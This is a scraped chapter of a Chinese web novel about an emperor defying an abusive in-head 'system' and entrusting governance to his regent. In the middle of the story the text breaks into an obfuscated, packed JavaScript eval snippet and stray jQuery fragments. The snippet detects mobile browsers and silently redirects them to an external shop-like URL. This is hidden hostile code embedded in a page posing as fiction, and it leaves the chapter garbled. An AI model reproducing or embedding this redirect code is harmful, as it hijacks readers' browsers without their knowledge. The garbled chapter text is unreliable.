11. 第 11 章

作品:《脱离系统控制后

    晋棠从秋千上被萧黎稳稳接住,这突如其来的意外让两人都有些措手不及,尽管晋棠迅速解释了缘由,澄清了误会,但空气中仍残留着一丝难以言喻的微妙。


    为了打破这略显尴尬的气氛,也为了正事,晋棠轻咳一声,目光转向萧黎:“王叔此时进宫,想必是有要事,此处不是说话的地方,随朕到里间详谈吧。”


    他又侧首对一旁仍心有余悸的王忠吩咐道:“王忠,去备一壶蒙顶石花来,朕要与王叔详谈。”


    “是。”王忠连忙躬身应下,匆匆去准备。


    晋棠则对萧黎做了一个“请”的手势,率先转身,朝着寝殿内专用于小憩和处理政务的里间走去。


    他的步伐比起昨日已然稳健不少,但萧黎还是敏锐地注意到,那身影依旧单薄得令人心惊,仿佛一阵稍大的风就能将他吹倒,方才接住他时,那腰肢的纤细和体重的轻飘,此刻回想起来,让萧黎的眉头蹙紧。


    两人前一后进入布置雅致的里间,此处不似外殿开阔,更显静谧,窗外竹影摇曳,室内熏香袅袅,倒是适合谈话。


    刚落座不久,王忠便带着宫人手脚麻利地送上了刚沏好的蒙顶石花和几样精致的点心。


    茶香清冽,点心小巧诱人,但此刻,无论是晋棠还是萧黎,心思都显然不在这些口腹之欲上。


    宫人退下,里间只剩下君臣二人。


    晋棠端起白瓷茶盏,浅浅啜了一口。


    温热的茶汤滑入喉间,带来一丝暖意,也稍稍平复了方才因意外而有些紊乱的心绪。


    晋棠放下茶盏,这才抬眼看向坐在下首的萧黎,语气平和地问道:“王叔此时前来,可是有何要事奏报?”


    就在萧黎要开口时,忽然——


    【警告!检测到关键剧情人物“萧黎”异常出现在京城!你背着我做了什么?!】


    冰冷、尖锐,带着难以置信和暴怒情绪的电子音,如同钢针般狠狠扎进了晋棠的脑海深处。


    晋棠握着茶盏的手指猛地收紧了一瞬,指节微微泛白,但仅仅是一瞬,便恢复了常态。


    他面上没有任何异样,甚至连眼神都未曾闪烁一下,仿佛那足以让灵魂战栗的尖锐警告从未响起,依旧平静地看着萧黎,等待着对方的回答,完全将脑海里的喧嚣当成了无关紧要的背景噪音。


    【回答我!晋棠!你为什么把他弄回京城?!你什么时候下的旨?!你竟敢背着我有小动作?!】


    系统见晋棠毫无反应,更是气急败坏,冰冷的电子音因为极致的愤怒而扭曲,发出刺耳的滋滋声


    【你知不知道这打乱了多少剧情?!你这个废物!蠢货!不男不女的怪物!】


    恶毒的咒骂和尖锐的质问疯狂地冲击着晋棠的意识海。


    但晋棠只是微微垂眸,掩去眼底深处一闪而过的冷嘲和快意。


    对,就是这样,无能狂怒吧。


    你越是愤怒,越是证明我做对了。


    晋棠彻底无视了脑海里那只咆哮的败犬,将所有注意力都放在了现实之中,放在了眼前这个能给他和大昭带来希望的男人身上。


    萧黎并未察觉到晋棠脑海中正上演的惊涛骇浪。


    他见晋棠气色尚可,神态平静,便略一沉吟,沉声禀报道:“回陛下,臣昨日出宫后,便依旨意,即刻联络了几位的阁老,先行沟通了一番。”


    萧黎观察了一下晋棠的神色,见其并无不悦,才继续道:“经过商议,几位阁老均以为,陛下龙体安康乃国之本,既然陛下需要静养,日后各地的奏折,便不必再每日送至陛下寝宫,以免劳心伤神。”


    听到这里,晋棠心中微微一动,端着茶盏的手顿了顿。


    系统还在他脑子里疯狂叫嚣着。


    【他们这是要架空你!蠢货!你完了!】


    但晋棠的心却缓缓落定了几分,他预想过萧黎会以摄政王之名接管政务,却没想到他动作如此之快,且方式周全。


    萧黎的声音平稳而恳切:“然,国事亦不可轻忽,臣与阁老们议定,所有奏折依旧照常送入御书房,由臣与几位阁□□同批阅处置,陛下虽静养,但天子权柄不容旁落,陛下若觉精神尚可,随时可移驾御书房,查阅任何奏章,过问任何政务,臣等批阅之后,亦会定期将重要政务整理汇总,呈报陛下知晓。”


    他抬起眼,目光坦荡而忠诚地望向晋棠,语气郑重如同宣誓:“陛下授臣以摄政之权,是信重,亦是托付,臣在此向陛下保证,必当恪尽职守,秉公处置,绝无二心,臣之一切所为,皆是为陛下分忧,为大昭尽忠,请陛下安心休养,臣必不负陛下所托!”


    一番话,条理清晰,态度明确,既高效地接管了繁杂的政务,避免了皇帝病重期间朝政停滞的风险,又最大限度地尊重和保留了皇帝的最终决策权与知情权。


    萧黎没有趁机揽权,更没有一丝一毫僭越的迹象,反而将君臣之分摆得极正,将“效忠”二字诠释得淋漓尽致。


    晋棠看着萧黎冷峻面容上的真诚,听着他沉稳有力的话语,心中百感交集。


    【呸!虚伪!冠冕堂皇!他就是想夺你的权!晋棠,你醒醒吧!等他羽翼丰满,第一个死的就是你!】


    系统仍在声嘶力竭地挑拨离间,试图激发晋棠的猜忌和恐惧。


    可晋棠心中只有一片澄明,甚至对系统的叫嚣感到十分可笑。


    他望着萧黎,眼中流露出真切的认可和赞赏,轻轻颔首:“王叔思虑周全,安排得极好,有王叔与诸位阁老同心协力,朕便可真正安心了,日后朝中诸事,便有劳王叔多多费心,大胆放手去做便是,朕信你。”


    “臣,定当竭尽全力,以报陛下信重之恩!”萧黎再次躬身,语气沉凝。


    【啊啊啊!你竟然还信他!你还让他放手去做!晋棠!你这是在自掘坟墓!】


    系统简直要气疯了,冰冷的电子音因为剧烈的情绪波动而变得扭曲失真。


    【我命令你!立刻!马上!收回成命!撤销萧黎的摄政王之职,将他赶回北境去!这是命令!】


    晋棠心底冷笑一声。


    命令?


    晋棠分出一缕心神,投向脑海中那团因暴怒而不断闪烁的冰冷光团,用极其平淡却充满了极致挑衅的语气回应。


    【我就不。】


    【有本事,你现在就弄死我。】


    系统仿佛被按下了暂停键,那疯狂的叫骂和闪烁都停滞了一瞬,随即,是更加歇斯底里的狂怒。


    【你!!!】


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239977|197683||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    晋棠甚至能“看到”那团代表系统的数据流因为过载而迸发出危险的红光,无数混乱的、恶毒的诅咒和威胁如同病毒代码般喷涌而出,却再也无法在他心中掀起半分波澜。


    他知道,系统目前能做的,也只有这些无能狂怒了。


    它无法直接控制他的身体,无法立刻抹杀他的灵魂——至少现在不能。


    然而,系统的存在始终是一把悬顶之剑,它虽然暂时无法直接操控他,但那些防不胜防的惩罚,以及它可能暗中使出的绊子,依旧不容小觑。


    想到这里,晋棠收敛了心神,目光重新聚焦在萧黎身上,语气变得格外认真,甚至带着一丝凝重:“王叔,朕还有一事要嘱托于你。”


    萧黎见他神色转变,也立刻正色道:“陛下请讲。”


    晋棠斟酌着词句,缓缓道:“朕这病来得蹊跷,时好时坏,好的时候与常人无异,但病发之时,不仅身体不受控制,有时甚至连神智都可能昏沉不清,或许……会做出些身不由己、不合常理甚至荒谬的举动。”


    他紧紧盯着萧黎的眼睛:“若真有那一日,朕在意识不清时下达了任何不合情理、有损江山社稷、危害黎民百姓的旨意,王叔,朕命你——不必听命。”


    萧黎闻言,瞳孔骤然收缩,脸上露出了难以掩饰的震惊和困惑:“陛下?”


    不必听命于皇帝的旨意?


    这简直是闻所未闻。


    自古君命如山,岂容臣子质疑?更何况是“不必听命”!


    在萧黎眼中,眼前的少年皇帝虽然病弱,但心思清明,意志坚定,绝非昏聩胡为之辈,为何会说出如此近乎托孤遗言般决绝的话语?那“身不由己”、“神智昏沉”又究竟是何意?


    无数疑问瞬间充斥了萧黎的脑海,让他心绪翻涌,难以平静,他张了张嘴,想要追问。


    但当萧黎触及晋棠那双眼睛时,所有的话都堵在了喉咙里。


    晋棠没有解释,也无法解释。


    他只是重复了一遍,语气更加坚定:“记住朕的话,萧黎,若朕言行有异,不合常理,一切都要以大昭的江山社稷为先,以天下黎民百姓的福祉为先,这,才是你对朕,对先帝,最大的忠诚!”


    萧黎看着晋棠那异常认真甚至带着恳求的眼神,心脏像是被一只无形的手紧紧攥住,闷痛难言。


    他虽不解其深意,却从那目光中读懂了晋棠的沉重。


    最终,萧黎将所有的疑惑和担忧都强行压回了心底。


    他是臣子,更是先帝托孤的兄弟,是陛下亲口任命的摄政王,他不明白陛下为何如此,但他能感受到那份超越个人生死、关乎国运民生的沉重。


    萧黎深吸一口气,压下心头的万千思绪,撩袍单膝跪地,以一种前所未有的郑重姿态,沉声应道:“臣遵旨,陛下放心,臣……记下了。”


    无论前方有何等迷雾,何等艰险,他既已承诺,便必会恪守。


    而与此同时,在晋棠的脑海深处,系统的尖啸和叫嚷达到了前所未有的高潮,那冰冷的电子音几乎要撕裂他的意识。


    【晋棠!你竟然敢!你这是在反抗我!你在自取灭亡!我不会放过你的!绝对不会!!!】


    里间之内,茶香依旧袅袅。